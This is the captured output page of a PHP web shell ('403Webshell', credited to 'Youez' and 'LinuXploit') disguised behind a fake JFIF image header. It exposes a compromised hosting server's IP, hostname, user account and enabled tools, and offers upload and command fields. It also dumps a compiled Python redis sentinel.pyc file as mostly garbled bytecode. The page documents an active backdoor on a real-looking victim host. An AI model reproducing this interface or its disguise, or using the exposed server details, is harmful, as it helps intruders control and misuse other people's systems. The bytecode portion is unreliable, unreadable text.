���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 88.222.243.109  /  Your IP : 216.73.216.70
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/redis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyc
�
u�fc@s�ddlZddlZddlmZddlmZmZddlmZm	Z	m
Z
mZddlm
Z
mZmZdefd��YZdefd	��YZd
efd��YZdefd
��YZdefd��YZdS(i����N(tRedis(tConnectionPoolt
Connection(tConnectionErrort
ResponseErrort
ReadOnlyErrortTimeoutError(t	iteritemst	nativestrtxrangetMasterNotFoundErrorcBseZRS((t__name__t
__module__(((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR
stSlaveNotFoundErrorcBseZRS((RR(((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR
stSentinelManagedConnectioncBs5eZd�Zd�Zd�Zd�Zd�ZRS(cKs,|jd�|_tt|�j|�dS(Ntconnection_pool(tpopRtsuperRt__init__(tselftkwargs((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyRscCsU|j}dt|�j|jf}|jrQd|j|jf}||}n|S(Ns%s<service=%s%%s>s,host=%s,port=%s(RttypeRtservice_namethosttport(Rtpooltst	host_info((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyt__repr__s		
cCsl|\|_|_tt|�j�|jjrh|jd�t|j	��dkrht
d��qhndS(NtPINGtPONGsPING failed(RRRRtconnectRtcheck_connectiontsend_commandRt
read_responseR(Rtaddress((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyt
connect_to s
cCs~|jr
dS|jjr2|j|jj��nHx?|jj�D].}y|j|�SWqBtk
roqBqBXqBWt�dS(N(t_sockRt	is_masterR$tget_master_addresst
rotate_slavesRR
(Rtslave((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR(s	
cCsWytt|�j�SWn9tk
rR|jjrL|j�td��n�nXdS(Ns"The previous master is now a slave(RRR"RRR&t
disconnectR(R((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR"5s

(RRRRR$RR"(((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyRs
				
tSentinelConnectionPoolcBsDeZdZd�Zd�Zd�Zd�Zd�Zd�ZRS(s�
    Sentinel backed connection pool.

    If ``check_connection`` flag is set to True, SentinelManagedConnection
    sends a PING command right after establishing the connection.
    cKs�|jdt�|d<|jdt�|_|jdt�|_tt|�j	|�t
j|�|jd<||_
||_dS(Ntconnection_classR&R R(tgetRRtTrueR&tFalseR RR+Rtweakreftproxytconnection_kwargsRtsentinel_manager(RRR3R((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyRLs	cCs,dt|�j|j|jr$dp'dfS(Ns%s<service=%s(%s)tmasterR)(RRRR&(R((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyRVscCs)tt|�j�d|_d|_dS(N(RR+tresettNonetmaster_addresstslave_rr_counter(R((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR5]s	cCsP|jp+|jo+|j|j|jfk}tt|�}|oO|j|�S(N(R&R7RRRR+towns_connection(Rt
connectiontchecktparent((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR9bs

	cCsP|jj|j�}|jrL|j|krL||_|jdt�qLn|S(Ntinuse_connections(R3tdiscover_masterRR&R7R*R/(RR7((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR'is			ccs�|jj|j�}|r�|jdkrLtjdt|�d�|_nxItt|��D]2}|jdt|�|_||j}|Vq_Wny|j	�VWnt
k
r�nXtd|j��dS(sRound-robin slave balanceriisNo slave found for %rN(R3tdiscover_slavesRR8R6trandomtrandinttlenR	R'R
R
(Rtslavest_R)((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR(ts"

(	RRt__doc__RRR5R9R'R((((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR+Ds	
				tSentinelcBsheZdZdd
d�Zd�Zd�Zd�Zd�Zd�Z	e
ed�Ze
ed	�Z
RS(sr
    Redis Sentinel cluster client

    >>> from redis.sentinel import Sentinel
    >>> sentinel = Sentinel([('localhost', 26379)], socket_timeout=0.1)
    >>> master = sentinel.master_for('mymaster', socket_timeout=0.1)
    >>> master.set('foo', 'bar')
    >>> slave = sentinel.slave_for('mymaster', socket_timeout=0.1)
    >>> slave.get('foo')
    b'bar'

    ``sentinels`` is a list of sentinel nodes. Each node is represented by
    a pair (hostname, port).

    ``min_other_sentinels`` defined a minimum number of peers for a sentinel.
    When querying a sentinel, if it doesn't meet this threshold, responses
    from that sentinel won't be considered valid.

    ``sentinel_kwargs`` is a dictionary of connection arguments used when
    connecting to sentinel instances. Any argument that can be passed to
    a normal Redis connection can be specified here. If ``sentinel_kwargs`` is
    not specified, any socket_timeout and socket_keepalive options specified
    in ``connection_kwargs`` will be used.

    ``connection_kwargs`` are keyword arguments that will be used when
    establishing a connection to a Redis server.
    icKsu|dkr%d�t|�D�}n||_g|D]!\}}t|||j�^q5|_||_||_dS(NcSs.i|]$\}}|jd�r||�qS(tsocket_(t
startswith(t.0tktv((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pys
<dictcomp>�s		(R6Rtsentinel_kwargsRt	sentinelstmin_other_sentinelsR2(RRMRNRLR2thostnameR((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR�s	.	cCseg}x<|jD]1}|jd|jjd|jjdf�qWdt|�jdj|�fS(Ns%s:%sRRs%s<sentinels=[%s]>t,(RMtappendRR2RRtjoin(Rtsentinel_addressestsentinel((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR�s	
cCs>|ds|ds|dr#tS|d|jkr:tStS(NR&tis_sdowntis_odownsnum-other-sentinels(R/RNR.(RtstateR((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pytcheck_master_state�s
cCs�x�t|j�D]�\}}y|j�}Wnttfk
rHqnX|j|�}|r|j||�r||jd|jd<|j|<|d|dfSqWtd|f��dS(s�
        Asks sentinel servers for the Redis master's address corresponding
        to the service labeled ``service_name``.

        Returns a pair (address, port) or raises MasterNotFoundError if no
        master is found.
        itipRsNo master found for %rN(t	enumerateRMtsentinel_mastersRRR-RXR
(RRtsentinel_noRTtmastersRW((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR>�s"cCsPg}xC|D];}|ds
|dr-q
n|j|d|df�q
W|S(s1Remove slaves that are in an ODOWN or SDOWN stateRVRURYR(RQ(RRCtslaves_aliveR)((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyt
filter_slaves�s
cCsdx]|jD]R}y|j|�}Wntttfk
rBq
nX|j|�}|r
|Sq
WgS(s;Returns a list of alive slaves for service ``service_name``(RMtsentinel_slavesRRRR_(RRRTRC((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyR?�scKs?t|d<t|j�}|j|�|d||||��S(sF
        Returns a redis client instance for the ``service_name`` master.

        A SentinelConnectionPool class is used to retrive the master's
        address before establishing a new connection.

        NOTE: If the master's address has changed, any cached connections to
        the old master are closed.

        By default clients will be a redis.Redis instance. Specify a
        different class to the ``redis_class`` argument if you desire
        something different.

        The ``connection_pool_class`` specifies the connection pool to use.
        The SentinelConnectionPool will be used by default.

        All other keyword arguments are merged with any connection_kwargs
        passed to this class and passed to the connection pool as keyword
        arguments to be used to initialize Redis connections.
        R&R(R.tdictR2tupdate(RRtredis_classtconnection_pool_classRR2((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyt
master_for�s


	cKs?t|d<t|j�}|j|�|d||||��S(s�
        Returns redis client instance for the ``service_name`` slave(s).

        A SentinelConnectionPool class is used to retrive the slave's
        address before establishing a new connection.

        By default clients will be a redis.Redis instance. Specify a
        different class to the ``redis_class`` argument if you desire
        something different.

        The ``connection_pool_class`` specifies the connection pool to use.
        The SentinelConnectionPool will be used by default.

        All other keyword arguments are merged with any connection_kwargs
        passed to this class and passed to the connection pool as keyword
        arguments to be used to initialize Redis connections.
        R&R(R/RaR2Rb(RRRcRdRR2((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyt	slave_fors


	N(RRRER6RRRXR>R_R?RR+ReRf(((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyRF�s						(R@R0tredis.clientRtredis.connectionRRtredis.exceptionsRRRRt
redis._compatRRR	R
R
RR+tobjectRF(((s?/opt/alt/python27/lib/python2.7/site-packages/redis/sentinel.pyt<module>s"1C

Youez - 2016 - github.com/yon3zu
LinuXploit